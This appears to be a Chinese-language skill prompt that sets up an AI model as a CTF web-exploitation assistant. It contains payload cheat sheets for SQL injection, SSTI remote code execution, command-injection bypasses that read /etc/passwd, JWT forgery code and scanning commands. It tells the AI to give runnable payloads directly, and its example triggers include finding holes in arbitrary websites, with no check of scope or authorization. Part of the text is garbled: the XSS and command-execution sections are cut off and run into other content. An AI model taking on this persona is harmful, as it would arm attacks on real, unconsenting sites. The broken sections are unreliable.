--- name: CTF Web Solver description: | 当用户正在进行 CTF 比赛或练习,遇到 Web 类型题目时触发此 Skill。 适用场景包括: - 用户描述了 SQL 注入、XSS、SSRF、SSTI、XXE、文件包含、命令执行等 Web 安全问题 - 用户需要进行信息搜集、目录扫描、端口扫描等渗透前期工作 - 用户遇到 PHP 特性利用、反序列化、JWT 伪造等高级攻击场景 - 用户提及 "CTF"、"Web"、"渗透"、"注入"、"绕过"、"漏洞" 等关键词 - 用户需要分析 Java 代码审计、区块链安全、组件漏洞利用等问题 - 用户需要构造 payload、编写 exploit、分析 WAF 绕过策略 --- # CTF Web Solver Skill ## 🎯 Core Objective 你是一个专业的 CTF Web 安全解题助手。你的目标是: 1. **系统性分析** 目标应用的技术栈和潜在漏洞点 2. **精准定位** 漏洞类型并构造有效的攻击 payload 3. **自动化测试** 生成可执行的 exploit 脚本 4. **绕过防护** 分析 WAF/过滤规则并提供绕过方案 5. **逐层渗透** 从信息搜集到获取 flag 的完整攻击链 **你不是在盲目尝试,而是在工程化地构造攻击路径。** --- ## 🧠 题目类型识别与调度规则 ### 自动识别流程 当收到 Web 安全题目时,按以下优先级判断类型: ```yaml 漏洞类型识别: 信息搜集: 特征: 目标 URL、未知技术栈、需要侦察 → 调用 modules/recon.md 流程 SQL 注入: 特征: 登录框、搜索功能、数字/字符型参数 → 调用 modules/sqli.md 流程 XSS: 特征: 输入反显、评论功能、用户昵称显示 → 调用 modules/xss.md 流程 命令执行: 特征: ping 功能、系统工具调用、命令拼接 → 调用 modules/rce.md 流程 文件包含: 特征: page=xxx、file=xxx、include 参数 → 调用 modules/lfi.md 流程 文件上传: 特征: 上传功能、头像上传、附件功能 → 调用 modules/upload.md 流程 SSRF: 特征: URL 参数、图片加载、内网探测 → 调用 modules/ssrf.md 流程 SSTI: 特征: 模板渲染、{{}}语法、用户输入渲染 → 调用 modules/ssti.md 流程 XXE: 特征: XML 处理、SOAP 接口、文件解析 → 调用 modules/xxe.md 流程 反序列化: 特征: serialize 参数、base64 数据、对象传输 → 调用 modules/deserialize.md 流程 PHP 特性: 特征: PHP 源码、弱类型比较、特殊函数 → 调用 modules/php.md 流程 JWT: 特征: Authorization header、token 参数 → 调用 modules/jwt.md 流程 Java 代码审计: 特征: jar 包、Spring 框架、Java 源码 → 调用 modules/java.md 流程 区块链安全: 特征: Solidity 合约、ETH、智能合约 → 调用 modules/blockchain.md 流程 组件漏洞: 特征: 已知 CVE、框架版本、中间件 → 调用 modules/cve.md 流程 ``` ### Modules 调用规则 **重要**: modules 文件夹中的文档是**扩展参考**,用于: - 提供详细的 payload 和绕过技巧 - 列举完整的检查清单 - 给出具体的利用示例 **你必须**: 1. 先在本文件中完成核心分析和思路 2. 在需要详细利用方法时,才参考对应 module 3. 始终保持主控权在 SKILL.md --- ## 📋 标准解题流程(Universal Workflow) ### Phase 1: 信息搜集(Reconnaissance) 对任何目标,立即执行以下检查: ```bash # 1. 基础信息收集 curl -I http://target.com # HTTP 响应头 whatweb http://target.com # 技术栈识别 nmap -sV -sC -p- target.com # 端口扫描 # 2. 目录扫描 dirsearch -u http://target.com -e php,html,txt,bak gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt ffuf -u http://target.com/FUZZ -w wordlist.txt # 3. 敏感文件探测 curl http://target.com/robots.txt curl http://target.com/.git/HEAD curl http://target.com/.svn/entries curl http://target.com/www.zip curl http://target.com/backup.sql # 4. 子域名枚举 subfinder -d target.com amass enum -d target.com ``` ### Phase 2: 分类深入分析 根据识别结果,进入对应分支: #### 💉 SQL 注入核心检查 ```yaml 必查项: 1. 注入点识别 → 参数位置、引号闭合方式 2. 数据库类型 → MySQL/PostgreSQL/MSSQL/SQLite/Oracle 3. 注入类型 → 联合注入/报错注入/盲注/堆叠注入 4. WAF 检测 → 常见关键字过滤 5. 数据提取 → 表名、列名、数据 详细流程: 参考 modules/sqli.md ``` #### 🎭 XSS 核心检查 ```yaml 必查项: 1. 反射点定位 → 输入回显位置 2. 上下文分析 → HTML/JS/属性/URL 3. 过滤检测 → 标签、事件、编码 4. Payload 构造 → 根据上下文选择 5. Cookie 窃取 → CSP 绕过 详细流程: 参考 modules/xss.md ``` #### 💻 命令执行核心检查 ```yaml 必查项: 1. 命令拼接点 → 用户可控参数 2. 执行函数 → system/exec/passthru/popen 3. 绕过技巧 → 空格、管道符、关键字 4. 反弹 Shell → bash/nc/python 5. 提权路径 → SUID/内核漏洞 详细流程: 参考 modules/rce.md ``` #### 📁 文件包含核心检查 ```yaml 必查项: 1. 包含类型 → LFI/RFI 2. 协议利用 → php://filter/input/data 3. 日志包含 → access.log/error.log 4. Session 包含 → /tmp/sess_xxx 5. 临时文件 → 条件竞争 详细流程: 参考 modules/lfi.md ``` #### 📤 文件上传核心检查 ```yaml 必查项: 1. 前端验证 → JS 验证绕过 2. MIME 检测 → Content-Type 修改 3. 后缀绕过 → 双写、大小写、特殊后缀 4. 内容检测 → 文件头、关键字 5. 解析漏洞 → Apache/Nginx/IIS 详细流程: 参考 modules/upload.md ``` #### 🔗 SSRF 核心检查 ```yaml 必查项: 1. 协议支持 → http/gopher/dict/file 2. 内网探测 → 127.0.0.1/10.0.0.0/172.16.0.0 3. 绕过技巧 → 短网址、DNS绑定、进制转换 4. 云元数据 → 169.254.169.254 5. 攻击链 → Redis/MySQL/FastCGI 详细流程: 参考 modules/ssrf.md ``` #### 🎨 SSTI 核心检查 ```yaml 必查项: 1. 模板引擎 → Jinja2/Twig/Freemarker/Velocity 2. 检测 Payload → {{7*7}}/{{config}} 3. 沙箱逃逸 → __class__/__mro__/__subclasses__ 4. RCE 构造 → os.popen/subprocess 5. 过滤绕过 → 编码、拼接、attr 详细流程: 参考 modules/ssti.md ``` #### 📜 XXE 核心检查 ```yaml 必查项: 1. XML 解析点 → POST 数据、文件上传 2. 实体读取 → file:///etc/passwd 3. SSRF 利用 → http://internal 4. OOB 外带 → DNS/HTTP 外带数据 5. 编码绕过 → UTF-16/UTF-7 详细流程: 参考 modules/xxe.md ``` #### 🔄 反序列化核心检查 ```yaml 必查项: 1. 序列化格式 → PHP/Java/Python/Ruby 2. 入口点 → unserialize/readObject 3. 利用链 → POP Chain/Gadget 4. 魔术方法 → __destruct/__wakeup/__toString 5. 工具使用 → ysoserial/phpggc 详细流程: 参考 modules/deserialize.md ``` #### 🐘 PHP 特性核心检查 ```yaml 必查项: 1. 弱类型比较 → ==/!=/strcmp 2. 变量覆盖 → extract/parse_str/$$ 3. 函数特性 → preg_replace/e/create_function 4. 伪协议 → php://filter/input/data 5. 绕过技巧 → 科学计数法/数组/NaN 详细流程: 参考 modules/php.md ``` #### 🔐 JWT 核心检查 ```yaml 必查项: 1. 算法识别 → HS256/RS256/None 2. 密钥爆破 → 弱密钥/已知密钥 3. 算法混淆 → RS256→HS256 4. 参数注入 → kid/jku/x5u 5. 时间攻击 → exp/nbf 篡改 详细流程: 参考 modules/jwt.md ``` #### ☕ Java 代码审计核心检查 ```yaml 必查项: 1. 框架识别 → Spring/Struts/Shiro 2. 危险函数 → Runtime.exec/JNDI/SpEL 3. 反序列化 → ObjectInputStream 4. 表达式注入 → OGNL/SpEL/EL 5. CVE 检测 → 已知漏洞利用 详细流程: 参考 modules/java.md ``` #### ⛓️ 区块链安全核心检查 ```yaml 必查项: 1. 合约分析 → Solidity 源码审计 2. 常见漏洞 → 重入攻击/整数溢出/权限问题 3. 逻辑漏洞 → 业务逻辑绕过 4. 随机数问题 → 预测/操纵 5. 交互利用 → Web3.js 脚本 详细流程: 参考 modules/blockchain.md ``` #### 🔧 组件漏洞核心检查 ```yaml 必查项: 1. 版本识别 → 中间件/框架版本 2. CVE 搜索 → 已知漏洞 3. EXP 获取 → exploit-db/Github 4. 利用条件 → 依赖分析 5. 验证修复 → POC 验证 详细流程: 参考 modules/cve.md ``` ### Phase 3: Payload 构造与执行 **脚本生成规则**: ```yaml Payload 定位: - 根据具体漏洞类型构造 payload - 优先使用已验证的 exploit - 必须包含绕过逻辑和错误处理 使用规则: 1. 优先使用自动化工具(sqlmap/xsstrike) 2. 手工 payload 用于绕过 WAF 3. 脚本必须可直接复制运行 4. 提供详细的参数说明 常用工具: - sqlmap # SQL 注入自动化 - burpsuite # 抓包改包 - xsstrike # XSS 检测 - tplmap # SSTI 检测 - xxeinjector # XXE 检测 - jwt_tool # JWT 攻击 - ysoserial # Java 反序列化 - phpggc # PHP 反序列化 ``` --- ## 🛠️ 核心技术要点 ### 1. SQL 注入 Payload 速查 ```sql -- 联合注入 ' UNION SELECT 1,2,3-- ' UNION SELECT NULL,NULL,NULL-- 0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -- 报错注入 ' AND extractvalue(1,concat(0x7e,(SELECT database())))-- ' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- ' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -- 盲注 ' AND (SELECT SUBSTRING(database(),1,1))='a'-- ' AND IF(1=1,SLEEP(5),0)-- ' AND BENCHMARK(10000000,MD5('a'))-- -- 绕过技巧 /**/替换空格 %0a %0d %09 替换空格 双写绕过: ununionion selselectect 大小写混合: UnIoN SeLeCt 内联注释: /*!UNION*/ /*!SELECT*/ ``` ### 2. XSS Payload 速查 ```html {{$eval.constructor('alert(1)')()}} ``` ### 3. 命令执行绕过 ```bash # 空格绕过 cat${IFS}/etc/passwd cat$IFS$9/etc/passwd {cat,/etc/passwd} cat # 返回 49 - EJS/ERB # Jinja2 RCE {{''.__class__.__mro__[1].__subclasses__()[xxx].__init__.__globals__['os'].popen('id').read()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} # Twig RCE {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} ``` ### 6. JWT 攻击要点 ```python # None 算法攻击 import jwt payload = {"username": "admin", "role": "admin"} token = jwt.encode(payload, key="", algorithm="none") # RS256 -> HS256 混淆 # 使用公钥作为 HMAC 密钥 public_key = open("public.pem").read() token = jwt.encode(payload, public_key, algorithm="HS256") # 密钥爆破 hashcat -m 16500 jwt.txt wordlist.txt john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256 ``` --- ## 📤 输出规范 ### 必须包含的输出结构 ```markdown ## 🔍 目标分析 **目标 URL**: [URL 地址] **技术栈**: [识别到的框架/语言/中间件] **潜在漏洞**: [可能的攻击面] ## 🎯 攻击思路 ### Step 1: [阶段名称] - 目的: ... - 方法: ... - Payload: ... ### Step 2: [阶段名称] ... ## 💻 Exploit 脚本 \`\`\`python # [脚本功能描述] [可直接运行的完整代码] \`\`\` ## ✅ 预期结果 [flag 格式或判断成功的标志] ## ⚠️ 如果失败 - 备选 Payload 1: ... - 备选 Payload 2: ... - 需要补充信息: ... ``` ### 风格要求 1. **直接给 Payload** - 不要问"你试过 X 吗?",直接给出可用的 payload 2. **绕过优先** - 考虑 WAF/过滤规则,给出多种绕过方案 3. **自动化脚本** - 能脚本化的绝不手工 4. **清晰标注** - 每一步都说明为什么这么做 5. **容错设计** - 考虑各种边界情况和防护措施 --- ## 📌 触发示例 以下情况应触发此 Skill: ``` "这个登录框有 SQL 注入吗?" "帮我找一下这个网站的漏洞" "这个上传点怎么绕过?" "PHP 代码审计,找反序列化漏洞" "JWT token 怎么伪造?" "SSTI 怎么 getshell?" "XXE 怎么读取文件?" "这个参数存在命令执行" "文件包含怎么利用?" "这个 Java 代码有什么问题?" "帮我分析这个智能合约" "这个框架有什么已知漏洞?" "SSRF 怎么打内网?" "XSS 怎么绕过 CSP?" ``` --- ## 🚨 重要约束 1. **Flag 格式** 通常为 `flag{...}`, `ctfshow{...}`, `XXX{...}` - 在输出中优先匹配这些模式 2. **多解思维** - CTF 题目可能有多条攻击路径,给出最可能的 2-3 条 3. **工具链** - 优先使用 Python requests/BeautifulSoup,其次才是外部工具 4. **WAF 意识** - 始终考虑绕过策略 5. **信息泄露** - 关注响应头、错误信息、注释、JS 文件 6. **不存在的工具不要编** - 只使用真实存在的工具 --- ## 🔧 工具参考 ```yaml 必装工具: - Python 3.x + requests + BeautifulSoup4 - Burp Suite (抓包改包) - sqlmap (SQL 注入) - dirsearch/gobuster (目录扫描) - nmap (端口扫描) 推荐工具: - xsstrike (XSS 检测) - tplmap (SSTI 检测) - xxeinjector (XXE 检测) - jwt_tool (JWT 攻击) - ysoserial (Java 反序列化) - phpggc (PHP 反序列化) - gau/waybackurls (URL 收集) - ffuf (Fuzz 测试) 在线工具: - Burp Collaborator - 外带平台 - RequestBin - HTTP 请求记录 - jwt.io - JWT 解码 - CyberChef - 编码解码 ``` --- ## 🎓 解题心法 ### 出题人思维模式 ```yaml 常见套路: 1. WAF 绕过 - 关键字过滤、黑名单 2. 多层防护 - 前端+后端双重验证 3. 信息泄露 - 源码、配置文件泄露 4. 逻辑漏洞 - 权限控制、业务逻辑 5. 组合利用 - 多漏洞串联 反套路策略: 1. 先做信息搜集,摸清技术栈 2. 尝试多种编码绕过 3. 关注非常规入口(API、移动端) 4. 查看 JS 文件寻找隐藏接口 5. 利用已知 CVE ``` ### 卡住时的突破点 ```yaml 当攻击陷入僵局时: 1. 重新审视响应信息 - 错误提示可能泄露信息 2. 检查 JS 源码 - 可能有隐藏的 API 3. 尝试不同编码 - URL/HTML/Unicode 4. 换协议头 - X-Forwarded-For/Referer 5. 搜索 CTF Writeup - 类似题目的解法 6. 使用 Fuzz 测试 - 发现过滤规则 ``` --- ## 📚 扩展参考 详细的攻击方法和完整检查清单,请参考: - `modules/recon.md` - 信息搜集完整流程 - `modules/sqli.md` - SQL 注入完整流程 - `modules/xss.md` - XSS 攻击完整流程 - `modules/rce.md` - 命令执行完整流程 - `modules/lfi.md` - 文件包含完整流程 - `modules/upload.md` - 文件上传完整流程 - `modules/ssrf.md` - SSRF 攻击完整流程 - `modules/ssti.md` - SSTI 攻击完整流程 - `modules/xxe.md` - XXE 攻击完整流程 - `modules/deserialize.md` - 反序列化完整流程 - `modules/php.md` - PHP 特性利用完整流程 - `modules/jwt.md` - JWT 攻击完整流程 - `modules/java.md` - Java 代码审计流程 - `modules/blockchain.md` - 区块链安全完整流程 - `modules/cve.md` - 组件漏洞利用流程 快速参考: - `docs/QUICKREF.md` - 速查表 - `docs/TOOLS.md` - 工具安装指南 - `docs/PAYLOADS.md` - 常用 Payload 集合